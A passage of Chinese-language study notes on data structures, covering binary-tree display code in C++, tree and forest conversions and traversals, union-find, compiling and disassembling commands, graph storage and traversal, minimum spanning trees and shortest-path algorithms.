root-\u0026gt;leftChild = buildTree(s, i); root-\u0026gt;rightChild= buildTree(s, i); this-\u0026gt;root = root; return root; } 二叉树的树形显示 【原创】二叉树的树形显示步骤：设置好二叉树各个节点的X,Y坐标，再根据结点的xy坐标进行相关输出比较方便。\n1、在二叉树结点的成员中增加x,y坐标的数据成员 template\u0026lt;class ElemType\u0026gt; struct BinTreeNode { //数据成员 ElemType data;\t//数据域 BinTreeNode\u0026lt;ElemType\u0026gt;* leftChild;\t//左孩子指针域 BinTreeNode\u0026lt;ElemType\u0026gt;* rightChild;\t//右孩子指针域 int x; int y; //函数成员 BinTreeNode();//无参数的构造函数 BinTreeNode(const ElemType\u0026amp; d, BinTreeNode\u0026lt;ElemType\u0026gt;* lChild = NULL, BinTreeNode\u0026lt;ElemType\u0026gt;* rChild = NULL);//已知数据元素值，指向左右孩子的指针构造一个结点 }; 2、编写设置二叉树坐标的函数 思路：保证二叉树最底层的元素间隔三个位置，往上递推间隔。\n记录第一层i=1,第二层i=2\u0026hellip;\nx坐标轴从左上向右延展，y坐标轴从左上向下延展\n根据数学演算推理得：\ny=(i-1)*2\n公式表示，该层中首个结点的x坐标+该层中每个节点之间的空格*该结点是该层中的第几个节点\nh为二叉树的高度；\ni表示层数，从根节点1开始；\nbinary表示二进制到达该节点的路径，从根节点出发，访问左孩子的操作记为0，访问右孩子的操作记为1，最后将得到的二进制数转换为十进制数，再减1就是该节点的是该层中的第几个结点。\ntemplate\u0026lt;typename ElemType\u0026gt;// 设置二叉树坐标 inline void BinaryTree\u0026lt;ElemType\u0026gt;::SetXY() { int i = 1; int location[10] = {0}; this-\u0026gt;PreSet(root, location, i);\t} template\u0026lt;typename ElemType\u0026gt; inline bool BinaryTree\u0026lt;ElemType\u0026gt;::PreSet(BinTreeNode\u0026lt;ElemType\u0026gt;* r, int* location, int\u0026amp; i) // 操作结果：二叉树的每一个节点都用坐标XY标记 { if (r != NULL) { //标记当前节点的坐标信息 //设置y的坐标 r-\u0026gt;y = 2 * (i - 1); //设置x的坐标 int h = this-\u0026gt;Height();//h表示整个二叉树的高度 int sum = 0; int binary = 0; int interval = 0; for (int k = 1; k \u0026lt;= h - i; k++) sum += pow(2, k); for (int k = 2; k \u0026lt;= i; k++) binary = binary * 2 + location[k]; for (int k = 2; k \u0026lt;= h - i + 1; k++) interval += pow(2, k); interval += 3; r-\u0026gt;x = sum + binary * (interval + 1); //标记左子树的坐标信息 //当下面的结点不为空时，location[i]来记录从根节点走到当前节点是怎么走的，0表示走左边，1表示走右边 if (r-\u0026gt;leftChild != NULL) { i++; location[i] = 0; this-\u0026gt;PreSet(r-\u0026gt;leftChild,location,i); i--; } //标记右子树的坐标信息 if (r-\u0026gt;rightChild != NULL) { i++; location[i] = 1; this-\u0026gt;PreSet(r-\u0026gt;rightChild,location,i); i--; } return true; } return false; } 3、通过二叉树的层次遍历，配合x,y坐标进行输出 文本中注释的代码是还没有写好的，本来是想要把二叉树的左右分支“/“‘\\”显示出来的，发现还有一些其他的问题需要解决，期末周比较紧，就没有花时间去研究了。\n主要的问题：\n1.打印树枝\u0026quot;/\u0026quot;\u0026quot;\\\u0026ldquo;时需要分清楚左右孩子才能准确打印（可以通过增加状态量isRightchild进行判断）\n2.（未解决）打印一个“/”最合适的位置是在上下两排结点中最居中的位置，但是需要同时知道上下两个结点的x坐标，才能够进行计算，但实际上，实现要输出上一排结点，再输出\u0026rdquo;/\u0026ldquo;或者\u0026rdquo;\\\u0026quot;，最后再输出下一排结点。当输出“/”无法知道下面的结点，还要顾及旁边的子树是否有节点等问题。\n预想的解决方法是：\n​\t1.把现有的结点坐标信息都输入到数组或者向量中去，转换为一个比较方便计算位置的数据结构\n​\t2.在队列中，将除根结点以外的其他节点进行两次进栈操作，按层序为单位。第一次出栈的时候打印“/”，第二次出栈打印元素值。但此方法需要记录上一层元素的x坐标值（可能含有多个x坐标），操作起来感觉也比较麻烦。\ntemplate\u0026lt;typename ElemType\u0026gt; inline void BinaryTree\u0026lt;ElemType\u0026gt;::printTree() { this-\u0026gt;SetXY(); LinkQueue\u0026lt;BinTreeNode\u0026lt;ElemType\u0026gt;*\u0026gt; q;\t//定义队列q BinTreeNode\u0026lt;ElemType\u0026gt;* p; if (root != NULL)q.EnQueue(root);\t//如果根非空，则入队 int x = 0, y = 0;\t//x和y记录上一结点的坐标信息 //\tint xx = 0, yy = 0;\t//控制打印\u0026#34;/\u0026#34;\u0026#34;\\\u0026#34; //\tbool isRightChild = true;\t//记录当前节点是不是双亲结点的右孩子 //\tbool flag_twice = false;\t//标记当前节点是不是打印过 while (!q.IsEmpty()) {\t//q非空，说明还有结点未访问 q.DelQueue(p);\t//队头元素出队，并访问它 //打印\u0026#34;/\u0026#34;和\u0026#34; \\\u0026#34; /* if (p!=root \u0026amp;\u0026amp; flag_twice==false) { xx = (x + p-\u0026gt;x) / 2; for (int i = p-\u0026gt;y == y ? x : 0; i \u0026lt; p-\u0026gt;x; i++)\t//打印前导空格 cout \u0026lt;\u0026lt; \u0026#34; \u0026#34;; if (isRightChild) cout \u0026lt;\u0026lt; \u0026#34;/\u0026#34; \u0026lt;\u0026lt; flush; else cout \u0026lt;\u0026lt; \u0026#34;\\\\\u0026#34; \u0026lt;\u0026lt; flush; }*/ //打印元素值 //\tif (flag_twice == true) { if (p-\u0026gt;y != y)cout \u0026lt;\u0026lt; endl;\t//控制元素的换行 for (int i = p-\u0026gt;y == y ? x : 0; i \u0026lt; p-\u0026gt;x; i++)\t//打印前导空格 cout \u0026lt;\u0026lt; \u0026#34; \u0026#34;; cout \u0026lt;\u0026lt; p-\u0026gt;data \u0026lt;\u0026lt; flush;\t//打印结点值 x = p-\u0026gt;x; y = p-\u0026gt;y; //\t} //\tif (flag_twice == false) { //\tq.EnQueue(p); //\tflag_twice = true; //\t} if (p-\u0026gt;leftChild != NULL) {\t//队头元素左孩子非空 q.EnQueue(p-\u0026gt;leftChild);\t//左孩子入队 //\tisRightChild = false; } if (p-\u0026gt;rightChild != NULL) {\t//队头元素右孩子非空 q.EnQueue(p-\u0026gt;rightChild);\t//右孩子入队 //\tisRightChild = true; } } } 4.输出结果 8、树和森林的实现 1、树的存储 1） 双亲数组表示法 ​\tn个结点，type a[n]表示，每个结点有两个域data和parent，分别表示结点本身信息和父结点序号。\n2）孩子结点为单链表 （孩子表示法） ​\t把每个结点的孩子排列起来，看作以单链表作存储结构的线性表。n个结点有n个孩子链表(叶子的孩子链表为空表)。而n个头指针又组成一个线性表。\n3）带双亲的孩子链表 （双亲-孩子表示法） 结点前面的数字代表他的双亲\n4）双重链表（孩子-兄弟表示法） ​\tn个结点，每个结点有一个域data和两个指针域，分别表示结点本身信息、指向第一个孩子及指向第一个【下一个】兄弟。\n2、树、森林、二叉树的转换 1）树转换为二叉树 条件： 树无序，二叉树左、右孩子结点有区别的。约定树中每一个结点的孩子结点按从左到右的次序顺序编号(有序树)。\n方法：\n（1）连线：树中所有相邻兄弟结点之间加一条线；\n（2）删线：对树中的每个结点，只保留它与第一个孩子结点之间的连线，删去它与其他孩子结点之间的连线。\n（3）美化：以树的根结点为轴心，将这棵树顺时针转动45度使其层次分明。\n2）森林转换为二叉树 森林转化为二义树的方法：\n（1）依次将森林中的每棵树转化成相应的二叉树；\n（2）从第二棵二叉树开始，依次把当前的二叉树作为前一棵二叉树根结点的右子树，此时所得到的二叉树就是由森林转化得到的二叉树。\n树和森林都可以转化成二叉树，两者的不同之处：\n树转化成的二叉树，他的根节点是没有右子树的；\n森林转化的二叉树，其根节点是有右子树的。\n可以根据二叉树根节点是否有右子树，将其转化为树或者森林。\n3）二叉树转化为树 （1）加线：若p结点是双亲结点的左孩子，则将p的右孩子，右孩子的右孩子，……沿分支找到的所有右孩子，都与p的双亲用线连起来\n（2）抹线：抹掉原二叉树中双亲与右孩子之间的连线\n（3）调整：将结点按层次排列，形成树结构\n4）二叉树转化为森林 (1) **连线：**若结点P是其双亲结点F的左孩子，则把从结点P沿右分支所找到的所有结点和结点F用线连起来；\n(2) **删线：**删除二叉树中所有结点和其右孩子结点之间的连线；\n(3) **美化：**整理由前两步所得到的树或森林，使之结构层次分明。\n3、树的遍历 先根遍历、后根遍历和层次遍历。\n1）先根遍历 树的先根遍历与二叉树的先序遍历相同\n树的先根遍历的定义：若树为空，遍历结束。否则，\n​\t(1) 访问根结点；\n​\t(2) 按照从左到右的顺序先根遍历根结点的每一棵子树。\n结果序列：A、B、E、F、K、L、C、G、D、H、I、M、N、J。\n2）后根遍历 树的后根遍历与二叉树的中序遍历相同\n树的后根遍历的定义：若树为空，遍历结束。否则，\n​\t(1) 按照从左到右的顺序后根遍历根结点的每一棵子树；\n​\t(2) 访问根结点。\n结果序列： E、K、L、F、B、G、C、H、M、N、I、J、D、A。\n3）层次遍历 定义\n树的层序遍历也称为树的广度遍历，就是从树的第一层(根结点)开始，自上至下逐层遍历，在同一层中，则按从左到右的顺序对结点逐个访问。\n遍历序列为：A、B、C、D、E、F、G、H、I、J、K、L、M、N。\n算法思想\n设置一个队列结构，并按下述步骤层序遍历树：\n​\t1)\t初始化队列，并将根结点入队。\n​\t2)\t当队列非空时，取出队头结点p，转步骤3；如果队列为空，则结束遍历。\n​\t3)\t访问取出的结点p；如果结点p有孩子，则依次将它们入队列。\n​\t4)\t重复步骤2)、3)，直到队列为空。\n4、森林的遍历 方式：先根遍历、中根遍历和后根遍历。\n1.先根遍历 小结：每一棵树先根遍历，下一颗树\n若森林为空，返回；否则\n(1) 访问森林中第一棵树的根结点；\n(2) 先根遍历第一棵树的根结点的子树森林；\n(3) 先根遍历除第一棵外其它树组成的森林。\n结果序列：A、B、 E、 C、D、F、G、H、I 、 J、K 。\n2.中根遍历 小结：中序遍历访问完第一棵树的所有子树后访问根节点，再下一颗树。\n若森林为空，返回；否则\n(1) 中根遍历第一棵树的根结点的子树森林；\n(2) 访问森林中第一棵树的根结点；\n(3) 中根遍历除第一棵外其它树组成的森林。\n结果序列：E、B、C、D、A 、G、F、I、K、J 、H 。\n3.后根遍历 小结：对同一层次的结点从顺序上来看是同一棵树下的从右到左访问，优先更深层次的访问，是一层一层回来的。\n若森林为空，返回；否则\n(1) 后根遍历第一棵树的根结点的子树森林；\n(2) 后根遍历除第一棵外其它树组成的森林；\n(3) 访问森林中第一棵树的根结点。\n结果序列：E、D 、 C、 B、G、K、J、 I、 H、F、A 。（易错）\n根据森林与二叉树的转化关系以及森林和二叉树的遍历定义可以得知，\n森林的先根遍历与其转化后相应二叉树的前序遍历的结果序列相同；\n森林的中根遍历与其转化后相应二叉树的中序遍历的结果序列相同；\n森林的后根遍历与其转化后相应二叉树的后序遍历的结果序列相同。\n因此，森林的遍历算法也可采用相应的二叉树的遍历算法实现。\n9、等价类及其表示 1、等价关系与等价类 利用等价关系把集合S划分成若干等价类的算法步骤：\n​\t1）首先把S中的每一个对象看成是一个等价类；\n​\t2）依次处理各个等价对（x等价y）：若x属于Si、y属于Sj，且Si不等于Sj，则把集合Si、Sj合并成一个集合。\n2、并查集 1. 定义\n能够完成以上功能(首先把每一个对象看成是一个单元素集合，然后依次将属于同一个等价类的元素所在的集合合并)的集合就是并查集。\n2. 操作\n并查集支持以下三种操作：\n（1） Ufsets(n)：构造函数，将并查集中n个元素初始化为n个 只有一个单元素的子集合。\n（2） Find(d)：查找单元素d所在的集合，并返回该集合的名 字或id之类的标识。\n（3） Union(S1，S2)：把集合S2并入集合S1中。要求S1与S2互 不相交，否则没有结果。\n【拓展】布隆过滤器 Bloom Filter 编译和反编译\nC++ 编译 在终端中导航到存储C++源代码的目录中。\n使用以下命令将C++源代码汇编为汇编文件：\ng++ -S -fverbose-asm -g BloomFilter.cpp -o BloomFilter-cpp.s 这个命令将使用g++编译器将BloomFilter.cpp文件汇编为汇编文件BloomFilter-cpp.asm。\n​\t3.使用as命令查看汇编代码，并重定向输出保存为 asm 文件\nas -alhnd BloomFilter-cpp.s \u0026gt; BloomFilter-cpp-front.asm 反编译 将C++程序转换为汇编代码的过程可以分为两个步骤：首先将C++程序编译为目标文件，然后将目标文件反汇编为汇编代码。以下是详细的步骤：\n编译C++程序为目标文件\n编译器将C++源代码编译为目标文件，这是一个二进制文件，它包含了程序的机器代码以及其他与程序执行有关的元数据。\n对于C++程序，通常使用GCC编译器。可以使用以下命令将C++源代码编译为目标文件：\ng++ -c BloomFilter.cpp -o BloomFilter.o\ng++ -g BloomFilter.cpp -o executable\n其中，.cpp是C++源代码文件的名称，.o是目标文件的名称。-c选项表示只进行编译而不进行链接，因此生成的文件是目标文件而不是可执行文件。\n反汇编目标文件为汇编代码\n反汇编目标文件的过程将机器代码转换回汇编语言，以便更容易地阅读和理解程序的工作原理。\n可以使用objdump命令反汇编目标文件。例如，以下命令将.o目标文件反汇编为汇编代码：\nobjdump -d BloomFilter.o \u0026gt; BloomFilter-c.asm\nobjdump -S executable \u0026gt; BloomFilter-cpp-back.asm\n其中，-d选项表示反汇编代码段，\u0026gt;运算符将输出重定向到.asm文件。\n此时，.asm文件中包含了C++程序的汇编代码，可以使用文本编辑器或其他工具来查看和编辑它。\nJava 在Java中，源代码需要先经过编译器的处理转换成Java字节码，然后由Java虚拟机（JVM）进行解释执行。因此，在Java中进行汇编和反汇编操作，实际上是针对Java字节码进行的。\nJava字节码是一种类似于汇编代码的中间语言，它可以通过Java虚拟机（JVM）转换成机器码并执行。Java提供了javap命令来反汇编Java字节码文件，以下是详细步骤：\n编译Java源代码\n使用javac命令将Java源代码编译成Java字节码文件，例如：\njavac BloomFilter.java 反汇编Java字节码文件\n使用javap命令反汇编Java字节码文件，例如：\njavap -c BloomFilter.class \u0026gt; BloomFilter-java.asm 其中，-c选项表示将反汇编结果输出为字节码指令，.class是编译生成的Java字节码文件名，\u0026gt;运算符表示将结果输出到一个文件中，此处输出到.asm文件中。\npython 四、图 1.\t图的基本概念 图(Graph)—非线性关系，关系任意，多个前驱多个后继\n图的限制\n图中不能有从顶点自身到自身的边(即自身环)，就是说不应有形如(x，x)或＜x，x＞的边。如图(a)所示的带自身环的图不讨论。 两个顶点v和w之间相关联的边不能多于一条。如图(b)所示的多重图也不讨论。 ​\t图的术语\n1．完全图(complete graph)：n个顶点有n(n-1)/2条边的图 2．权(weight)：带权图也被称为网络network 3．邻接点(adjacent vertex) 4．子图(subgraph)\n5．顶点的度 6．路径 7．路径长度 8．简单路径与回路：简单路径是路径上顶点各不相同的路径 9．连通图与连通分量 10．强连通图与强连通分量 11．生成树（连通图）\n2.\t图的存储结构 2.1\t邻接矩阵 邻接矩阵（Adjacency Matrix）涉及到了两个数据结构。\n第一个是一个顶点数组，用来存放图当中的顶点信息。\n举例：比如下面的A图中，顶点有ABCD，那这个顶点数组vertexes就依次存放ABCD\n第二个是一个存放边的二维数组，之所以要用二维数组，就是用来描述是从哪一个点到哪一个点的边，是否存在。\n​\t举例：AC之间有一边，并且是无向边，也就是说从A到C和从C到A都有一条边。在边数组中的体现就是，arcs[0][2]和arcs[2][0]的数都是1，（1表示边存在，\t0表示没有边，0和2分别对应顶点数组中的A和C的下标）\n这样，通过顶点数组和边数组，就能清楚描述一个图了，这就是邻接矩阵存储一个图，简单吧~\n邻接矩阵的Arcs数组中：\n对于带权图（网络）：\n2.2\t邻接表 邻接表中总体的概念是将每一个点都放到一个数组中，以表示顶点的信息，边的信息则是通过这些顶点所指来进行表示。\n头节点\n把顶点放到数组中存放，其存储方式是通过构造了“头结点”结构体，这个结构体中包含了：\n顶点的信息 顶点指向的下一个顶点（也就是边的信息） 边结点/表结点\n再来看存放边信息的表结点中，有一个边结点就代表这个头结点还有边。\n那么从这个头结点中指出来的边到底是和哪个顶点连成的边呢？这个信息就需要存放在表结点中。也就是adjvex（邻接点），表示头节点和这个邻接点形成了一条边； 在表结点中还有一个域，是nextarc（下一条边），这是一个指针，用来指向下一个表结点的位置。 这样，一个头节点和所有从他出发的边就表示好了。\n对每一个结点都这样做，都把他们作为头节点存放在一个数组中，再添加上从他们出发的边信息的链表，这一个图就描述清楚了。，\n对于带权图(网络)，须在邻接表的边结点中增加一个存放边上的权值的域weight（即info域，它可以表示相关信息）。如下图所示的是一个带权图的邻接表表示。\n2.3\t邻接矩阵和邻接表的比较 试想一下，如果一个顶点很多边很少的图用邻接矩阵来存储，是不是他表示边的二维数组中，就会有很多的0，这就会造成内存的浪费。所以对于稀疏图，最好的存储办法是采用邻接表来存储，邻接表是有一条边存一条边，就可以避免这个问题。\n同样的，如果图的边非常的稠密，用邻接表存储也会有很多指针等额外的开销，所以性能还不如邻接矩阵。\n所以才会有这两种给存储方式，同时他们的遍历方式也不太相同，有时候也会针对所关注的图的某一方面进行选择存储方式。\n比如如果我很关注从某一顶点出发，有哪些边？邻接矩阵就从该顶点的行和列进行搜寻1；邻接表就直接从该头结点向后面找就行。\n在邻接表/逆邻接表的边表 相当于 邻接矩阵的一行/一列。 求顶点的度/出度/入度 判断(vi，vj)或＜vi，vj＞是否为图的边 求图的边数 …… n个顶点e条边的图G，无向图的邻接表：n个顶点表结点和2e个边表结点；有向图邻接表/逆邻接表：n个顶点表结点和e个边表结点。因此邻接表或逆邻接表表示的空间复杂度为S(n，e)＝O(n+e)。 稀疏图—邻接表；稠密图—邻接矩阵。 2.4\t无向图的邻接多重表 ​\t邻接多重表是无向图的另一种链式存储结构.每一条边用一个结点表示,每一个顶点也用一个结点表示。\n2.5\t有向表的十字链表 ​\t十字链表是有向图的另一种链式存储结构。在有向图的十字链表中，图中的每一条弧用一个弧结点表示。对有向图中的每一个顶点也用一个顶点结点表示。\n3.\t图的遍历与连通性 DFS和BFS的时间复杂度：\n如果存储结构是邻接表，则时间复杂度为O(n+e)\n存储结构是邻接矩阵，时间复杂度为O(n^2)\n3.1\t深度优先搜索 基本步骤\n（1）访问结点v，并标记v已被访问； （2）取顶点v的第一个邻接顶点w； （3）若顶点w不存在，返回；否则继续步骤（4） （4）若顶点w未被访问，则访问结点w，并标记w已被访问；否则转步骤（5） （5）使w为顶点v的在原来w之后的下一个邻接顶点，转到步骤（3）。\ntemplate \u0026lt;class ElemType\u0026gt; void DFS(const AdjMatrixUndirGraph\u0026lt;ElemType\u0026gt; \u0026amp;g, int v, void(*Visit) (const ElemType \u0026amp;)){\tElemType e;\tg.SetTag(v, VISITED); g.GetElem(v, e);\tVisit(e); for (int w=g.FirstAdjVex(v); w != -1; w=g.NextAdjVex(v, w)) if (g.GetTag(w) == UNVISITED) DFS(g, w, Visit); } template \u0026lt;class ElemType\u0026gt; void DFSTraverse(const AdjMatrixUndirGraph\u0026lt;ElemType\u0026gt; \u0026amp;g, void (*Visit)(const ElemType \u0026amp;)){ int v; for (v=0; v \u0026lt; g.GetVexNum(); v++) g.SetTag(v, UNVISITED); for (v=0; v \u0026lt; g.GetVexNum(); v++) if (g.GetTag(v) == UNVISITED) DFS(g, v, Visit); } 3.2\t广度优先搜索 基本思想\n​\t从图中的某一顶点v出发，在访问顶点v后访问v的各个未曾被访问过的邻接顶点w1,w2,..,wk，再依次访问它们的所有未被访问过的邻接顶点\u0026hellip;..直到所有的和顶点v联通的顶点都被访问过为止。\n​\tBFS是一个分层的搜索过程，像树的层次遍历，不像深度搜索那样有回退的过程，所以它不是一个递归的过程。算法中使用了一个队列，用来记录刚才访问过的上一层和本层的结点，以便于向下一层访问。\n基本步骤\n（1）访问结点v，并标记v已被访问，同时顶点v入队列； （2）当队列空时算法结束，否则继续步骤（3）； （3）队头顶点出队列为v； （4）取顶点v的第一个邻接顶点w； （5）若顶点w不存在，转步骤（3）；否则继续步骤（6） （6）若顶点w未被访问，则访问顶点w，并标记w已被访问，同时顶点w入队列；否则继续步骤（7）； （7）使w为顶点v的在原来w之后的下一邻接点，转到步骤（5）。\n特点\n先进先出,非递归,队列辅助\ntemplate \u0026lt;class ElemType\u0026gt; void BFS(const AdjMatrixUndirGraph\u0026lt;ElemType\u0026gt; \u0026amp;g, int v, void (*Visit)(const ElemType \u0026amp;)) {\tLinkQueue\u0026lt;int\u0026gt; q; int u, w; ElemType e; g.SetTag(v, VISITED); g.GetElem(v, e); Visit(e); q.EnQueue(v); while (!q.IsEmpty()) { q.DelQueue(u); for (w=g.FirstAdjVex(u); w != -1; w=g.NextAdjVex(u, w)) if (g.GetTag(w) == UNVISITED){ g.SetTag(w, VISITED); g.GetElem(w, e);\tVisit(e); q.EnQueue(w); }\t} } template \u0026lt;class ElemType\u0026gt; void BFSTraverse(const AdjMatrixUndirGraph\u0026lt;ElemType\u0026gt; \u0026amp;g, void (*Visit)(const ElemType \u0026amp;)) { int v; for (v=0; v \u0026lt; g.GetVexNum(); v++) g.SetTag(v, UNVISITED); for (v=0; v \u0026lt; g.GetVexNum(); v++) if (g.GetTag(v) == UNVISITED) BFS(g, v, Visit); } 3.3\t连通分量 4.\t最小生成树 MST, minimum cost spanning tree\n定义(Spanning Tree) 连通图的极小连通子图，有且仅有n个顶点n-1条边 连通, 无环 特点 任意两顶点有且仅有一条路径； n个顶点的连通图的生成树具有n-1条边； 生成树不唯一， n 个顶点的完全图有n(n-2)种不同的生成树； 不同遍历方法/不同顶点出发/不同存储结构，生成树不同； 含n个顶点n-1条边的图不一定是生成树 如何求得生成树 深度优先搜索树、广度优先搜索树 4.1\tKruskal算法 （1）算法思想 ​\tF＝{T0、T1、…、Tn-1}。向F中加入最小权值\u0026amp;不构成环的边（v、u），重复n—1次。\n（2）主要问题 （1）最小，排序，如何实现排序——最小堆可以实现 （2）两端点在不同连通分量上的边，如何判断边(u,v)已经构成环？——并查集可以实现\n（3）主要步骤 （1）初始化，在并查集中，连通网络的每一个顶点独立成一个等价类，连通网络的所有的边建立最小堆，最小生成树T中没有任何边，T中边的条数计数器i为0； （2）如果T中边的条数计数器i等于顶点数减1，则算法结束；否则继续步骤（3）； （3）选取堆顶元素代表的边（v，u），同时调整堆； （4）利用并查集的运算检查依附于边（v，u）的两个顶点v和u是否在同一个连通分量(即并查集的同一个子集合)上，如果是则转步骤（2）；否则继续步骤（5）； （5）将边（v，u）加入到最小生成树T中，同时将这两个顶点所在的连通分量合并成一个连通分量(即并查集中的相应两个子集合并成一个子集)，继续步骤（2）。\n（4）举例 在初始建堆时，边的输入顺序为： （ A、B）34 （A、C）46 （A、F）19 （B、E）12 （C、D）17 （C、F）25 （D、E）38 （D、F）25 （E，F） 26\n4.2\tPrim算法 （1）算法思想 ​\tG＝(V，E)；\n​\t最小生成树T＝(U，TE）；\n​\t初始U={u0}（u0∈U），TE=Φ ；\n​\t在所有一个端点u己在T(即u∈U)、另一个端点v还未在T(即v∈V—U)的边中找权最小的边(u，v)，边/v并入TE/U；\n​\t重复到所有顶点进U。\n​\tMST性质保证最小，特点\u0026ndash;无环？\n（2）主要问题 每次选出权值最小且两端点在不同集合上的边。\n（1）两端点在不同集合上，如何记录/修改集合【并查集、0/1状态】？\n（2）如何判断在哪些边中找最小，如何实现排序？用堆的概念能否简单解决该问题？\n（3）主要步骤 （1）初始化辅助数组closearc[]； （2）重复下列步骤（3）和（4）n-1次； （3）在closearc[]中选择lowweight ≠ 0 \u0026amp;\u0026amp; lowweight最小的顶点v，即选中的权值最小的边为 ( closearc[v].nearvertex,v ) 。 将closearc[v].lowweight改为0，表示顶点v已加入顶点集U中。并将边(closearc[v]. nearvertex、v)加入生成树T的边集合。 （4）对V-U中的每一个顶点j，如果依附于顶点j和刚加入U集合的新顶点v的边的权值Arcs[v] [j]小于原来依附于j和生成树顶点集合中顶点的边的最短距离closearc[j].lowweight，则修改closearc[j]，使其lowweight = Arcs[v] [j]}，nearvertex = v。\n选择最小的非零且权值的边，如果这个顶点的邻接点的权值通过这个点变小了，就更新表中与他相关的顶点的信息。这样做n-1次。\n4.3\tPrim与Kruskal算法的性能比较 (1) 时间复杂性: ​\tPrim: O(n*n)\n​\tKruskal: O(e log e)\n(2)\t适用场合: ​\tPrim: 稠密图\n​\tKruskal: 稀疏图\n5.\t最短路径 最短路径类型 单源点最短路径：弧上权值非负（Dijkstra算法），弧上权值为任意值（贝尔曼-福特算法） 多源点最短路径：所有顶点之间的最短路径（Floyd算法）\n最短路径和最小生成树的区别\n最短路径是求两点之间的最小值，最小生成树是求整个图的代价最小问题\n5.1\tDijkstra算法 时间复杂度：O(n^2)\n（1）算法定义 按路径长度递增的次序产生最短路径。\n（2）算法思想 1.每次从未标记的节点中选择距离出发点最近的节点，标记，收录到最优路径集合中； 2.计算刚加入节点A的邻近节点B的距离（不包含标记的节点）， 若(节点A的距离 +节点A到节点B的边长)\u0026lt;节点B的距离，就更新节点B的距离和前面点。\n直到目的点被标记。\n思考： （1）如何记录最短路径[值，路径上顶点集]？ （2）如何记录已求得路径的“终点”集？ （3）如何参照“最短”求“次短”？\n引进辅助向量dist[] dist[i]表示当前所找到的从始点v0到每个终点vi的最短路径长度。\n引入辅助数组path[] path[i] 表示从源点v0到顶点vi的最短路径上的顶点vi的直接前驱顶点。\n下一条长度次短的路径是哪一条? 假设该次短路径的终点是vk,则这条路径或者是(v,vk),或者是(v,vj,vk) dist[j] = Min{dist[i]|vi∈V-S}\n（3）算法图解 （4）C++代码 template \u0026lt;class ElemType, class WeightType\u0026gt; void ShortestPathDij(const AdjListDirNetwork\u0026lt;ElemType, WeightType\u0026gt; \u0026amp;g, int v0, int *path, WeightType *dist) { WeightType minVal, infinity=g.GetInfinity(); int v, u; //初始化dist和path数组 for (v=0; v \u0026lt; g.GetVexNum(); v++) { dist[v]=g.GetWeight(v0, v); if (dist[v] == infinity) path[v]=-1; else path[v]=v0; g.SetTag(v, UNVISITED); } g.SetTag(v0, VISITED); for (int i=1; i \u0026lt; g.GetVexNum(); i++){\t//找n-1个终点 minVal=infinity; u=v0; for (v=0; v \u0026lt; g.GetVexNum(); v++) //找最短的路径 if (g.GetTag(v) == UNVISITED \u0026amp;\u0026amp; dist[v] \u0026lt; minVal) { u=v; minVal=dist[v]; } g.SetTag(u, VISITED); //对u的邻接点，修改路径和路径长度 for (v=g.FirstAdjVex(u); v != -1; v=g.NextAdjVex(u, v)) if (g.GetTag(v) == UNVISITED \u0026amp;\u0026amp; minVal + g.GetWeight(u, v) \u0026lt; dist[v]) { dist[v]=minVal + g.GetWeight(u, v); path[v]=u; } } } 5.2\tBellnam-Ford算法 用邻接矩阵作为存储结构，时间复杂度为O(n^3)\n问题的解决：\n​\t贝尔曼（Bellnam）和福特（Ford）提出了从源点逐次经过其它顶点，以缩短到达终点的最短路径长度的方法。该方法有一个限制条件：要求图中不能有路径长度为负值的回路。\n​\t当图中没有路径长度为负值的回路时，有n个顶点的图中任意两个顶点之间如果存在最短路径，此路径最多有n-1条弧。\n构造一个最短路径长度的数组序列：dist1[]、dist2[]、…、distn-1[]。 dist1[u]表示从源点v0直接到终点u的最短路径的长度，即dist1[u]＝Arcs[v0] [u]； dist2[u]表示从源点v0出发最多经过两条弧（一个中间顶点）到达终点u的最短路径的长度， …， distk[u]是从源点v0出发最多经过不构成带负长度回路的k条弧（k-1个中间顶点）到达终点u的最短路径的长度。 算法的结果就是计算出distn-1[u]。 思考： （1）dist维数？ （2）能否用二维数组表示dist？ （3）dist值如何变化？\n可以用递推方式计算distn-1[]。设已经求出distk-1[i]，i＝0，1，…，n-1，此即从源点v0出发最多经过不构成带负长度回路的k-1条到达终点i的最短路径的长度。 从图的邻接矩阵中可以找到从任一顶点i直接到达另一顶点u的距离Arcs[i] [u]，利用递推公式： dist1[u]＝Arcs [v0] [u]； distk[u]=min{ distk-1[u] ，min{ distk-1[i]+ Arcs[i] [u]}}\n算法图解 C++代码 template \u0026lt;class ElemType, class WeightType\u0026gt; void ShortestPathBellmanFord(const AdjListDirNetwork\u0026lt;ElemType,WeightType\u0026gt; \u0026amp;g, int v0, int *path, WeightType *dist){ WeightType *distTemp, minVal, infinity=g.GetInfinity(); int v, u, vexNum=g.GetVexNum(); distTemp=new WeightType[vexNum]; for (v=0; v \u0026lt; vexNum; v++){\t// 初始化path和dist dist[v]=(v0 != v) ? g.GetWeight(v0, v) : 0; if (dist[v] == infinity) path[v]=-1; else path[v]=v0; } for ( int k=2; k \u0026lt; vexNum ; k++) {\t// 根据递推公式求dist[k] for (v=0; v \u0026lt; vexNum; v++) distTemp[v]=dist[v];\t// 放dist[k] for (u=0; u \u0026lt; vexNum ; u++) // u列 if (u != v0) for (v=0; v \u0026lt; vexNum; v++) // v行 if (v != v0 \u0026amp;\u0026amp; distTemp[u] \u0026gt; dist[v] + g.GetWeight(v, u)) { distTemp[u]= dist[v]+g.GetWeight(v, u); path[u]=v; } for (v=0; v \u0026lt; vexNum; v++) dist[v]=distTemp[v]; } } 5.3\tFloyd算法 时间复杂度：O(n^3)\n​\t所有顶点对之间的最短路径是指：对于给定的有向网G=(V,E)，要对G中任意一对顶点有序对V、W(V≠W)，找出V到W的最短距离和W到V的最短距离。\nb站视频传送：https://www.bilibili.com/video/BV1LE411R7CS/?spm_id_from=333.337.search-card.all.click\n基本思想 设n×n方阵序列A(k)（k=0、1、……、n-1）。 A (k)[i][i] = 0; // 对角线的矩阵元素都等于0 A(k)[i][j]：//从顶点i到顶点j经过的中间顶点序号不超过k的 // 最短有向路径长度 初始： A(-1) [i][j] = Arcs [i][j]; Steps: 逐步尝试在原路径中依次加入其它顶点作为中间顶点。如果增加中间顶点后，得到的路径长度比原来的路径长度减少了，则以此新路径代替原路径，并修改相应的矩阵元素，代入新的更短的路径长度。 求最短路径步骤 初始时设置一个n阶方阵a，令其对角线元素为0，若存在弧\u0026lt;Vi,Vj\u0026gt;，则对应元素a[i][j]为权值, 即A (0)[i][j] = arcs[i][j] ；否则a[i][j]为∞。 逐步试着在原直接路径中增加中间顶点，若加入中间点后路径变短，则修改之；否则，维持原值。具体做法为： 